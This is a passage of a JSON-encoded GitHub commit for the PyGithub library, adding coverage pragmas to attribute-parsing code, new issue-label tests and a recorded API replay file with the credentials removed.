\"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":11,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","filename":"src/github/PullRequestComment.py"},{"patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","filename":"src/github/PullRequestFile.py"},{"patch":"@@ -905,96 +905,96 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"clone_url\", \"created_at\", \"description\", \"fork\", \"forks\", \"full_name\", \"git_url\", \"has_downloads\", \"has_issues\", \"has_wiki\", \"homepage\", \"html_url\", \"id\", \"language\", \"master_branch\", \"mirror_url\", \"name\", \"open_issues\", \"organization\", \"owner\", \"parent\", \"permissions\", \"private\", \"pushed_at\", \"size\", \"source\", \"ssh_url\", \"svn_url\", \"updated_at\", \"url\", \"watchers\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None:\n+ if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"clone_url\" ], str )\n self.__clone_url = attributes[ \"clone_url\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"fork\" in attributes and attributes[ \"fork\" ] is not None:\n+ if \"fork\" in attributes and attributes[ \"fork\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork\" ], bool )\n self.__fork = attributes[ \"fork\" ]\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], int )\n self.__forks = attributes[ \"forks\" ]\n- if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None:\n+ if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"full_name\" ], str )\n self.__full_name = attributes[ \"full_name\" ]\n- if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None:\n+ if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_url\" ], str )\n self.__git_url = attributes[ \"git_url\" ]\n- if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None:\n+ if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_downloads\" ], bool )\n self.__has_downloads = attributes[ \"has_downloads\" ]\n- if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None:\n+ if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_issues\" ], bool )\n self.__has_issues = attributes[ \"has_issues\" ]\n- if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None:\n+ if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_wiki\" ], bool )\n self.__has_wiki = attributes[ \"has_wiki\" ]\n- if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None:\n+ if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"homepage\" ], str )\n self.__homepage = attributes[ \"homepage\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"language\" in attributes and attributes[ \"language\" ] is not None:\n+ if \"language\" in attributes and attributes[ \"language\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"language\" ], str )\n self.__language = attributes[ \"language\" ]\n- if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None:\n+ if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"master_branch\" ], str )\n self.__master_branch = attributes[ \"master_branch\" ]\n- if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None:\n+ if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mirror_url\" ], str )\n self.__mirror_url = attributes[ \"mirror_url\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"organization\" in attributes and attributes[ \"organization\" ] is not None:\n+ if \"organization\" in attributes and attributes[ \"organization\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"organization\" ], dict )\n self.__organization = Organization.Organization( self.__requester, attributes[ \"organization\" ], completion = LazyCompletion )\n- if \"owner\" in attributes and attributes[ \"owner\" ] is not None:\n+ if \"owner\" in attributes and attributes[ \"owner\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owner\" ], dict )\n self.__owner = NamedUser.NamedUser( self.__requester, attributes[ \"owner\" ], completion = LazyCompletion )\n- if \"parent\" in attributes and attributes[ \"parent\" ] is not None:\n+ if \"parent\" in attributes and attributes[ \"parent\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parent\" ], dict )\n self.__parent = Repository( self.__requester, attributes[ \"parent\" ], completion = LazyCompletion )\n- if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None:\n+ if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"permissions\" ], dict )\n self.__permissions = Permissions.Permissions( self.__requester, attributes[ \"permissions\" ], completion = LazyCompletion )\n- if \"private\" in attributes and attributes[ \"private\" ] is not None:\n+ if \"private\" in attributes and attributes[ \"private\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private\" ], bool )\n self.__private = attributes[ \"private\" ]\n- if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None:\n+ if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pushed_at\" ], str )\n self.__pushed_at = attributes[ \"pushed_at\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"source\" in attributes and attributes[ \"source\" ] is not None:\n+ if \"source\" in attributes and attributes[ \"source\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"source\" ], dict )\n self.__source = Repository( self.__requester, attributes[ \"source\" ], completion = LazyCompletion )\n- if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None:\n+ if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ssh_url\" ], str )\n self.__ssh_url = attributes[ \"ssh_url\" ]\n- if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None:\n+ if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"svn_url\" ], str )\n self.__svn_url = attributes[ \"svn_url\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None:\n+ if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"watchers\" ], int )\n self.__watchers = attributes[ \"watchers\" ]","status":"modified","deletions":31,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","changes":62,"additions":31,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","filename":"src/github/Repository.py"},{"patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","filename":"src/github/RepositoryKey.py"},{"patch":"@@ -38,15 +38,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", \"tarball_url\", \"zipball_url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None:\n+ if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tarball_url\" ], str )\n self.__tarball_url = attributes[ \"tarball_url\" ]\n- if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None:\n+ if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"zipball_url\" ], str )\n self.__zipball_url = attributes[ \"zipball_url\" ]","status":"modified","deletions":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","changes":8,"additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","filename":"src/github/Tag.py"},{"patch":"@@ -172,15 +172,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"members_count\", \"name\", \"permission\", \"repos_count\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None:\n+ if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None: # pragma no branch\n self.__members_count = attributes[ \"members_count\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"permission\" in attributes and attributes[ \"permission\" ] is not None:\n+ if \"permission\" in attributes and attributes[ \"permission\" ] is not None: # pragma no branch\n self.__permission = attributes[ \"permission\" ]\n- if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None:\n+ if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None: # pragma no branch\n self.__repos_count = attributes[ \"repos_count\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","filename":"src/github/Team.py"},{"patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","filename":"src/github/UserKey.py"},{"patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","status":"modified","deletions":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","changes":26,"additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py"},{"patch":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.event.actor.login, \"jacquev6\" )\r\n- self.assertEqual( self.event.commit_id, None )\r\n- self.assertEqual( self.event.created_at, \"2012-05-19T10:38:23Z\" )\r\n- self.assertEqual( self.event.event, \"subscribed\" )\r\n- self.assertEqual( self.event.id, 15819975 )\r\n- self.assertEqual( self.event.issue.number, 28 )\r\n- self.assertEqual( self.event.url, \"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975\" )\r\n+ self.assertEqual( self.event.commit_id, \"ed866fc43833802ab553e5ff8581c81bb00dd433\" )\r\n+ self.assertEqual( self.event.created_at, \"2012-05-27T07:29:25Z\" )\r\n+ self.assertEqual( self.event.event, \"referenced\" )\r\n+ self.assertEqual( self.event.id, 16348656 )\r\n+ self.assertEqual( self.event.issue.number, 30 )\r\n+ self.assertEqual( self.event.url, \"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16348656\" )\r","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","filename":"test/IssueEvent.py"},{"patch":"@@ -0,0 +1,45 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; 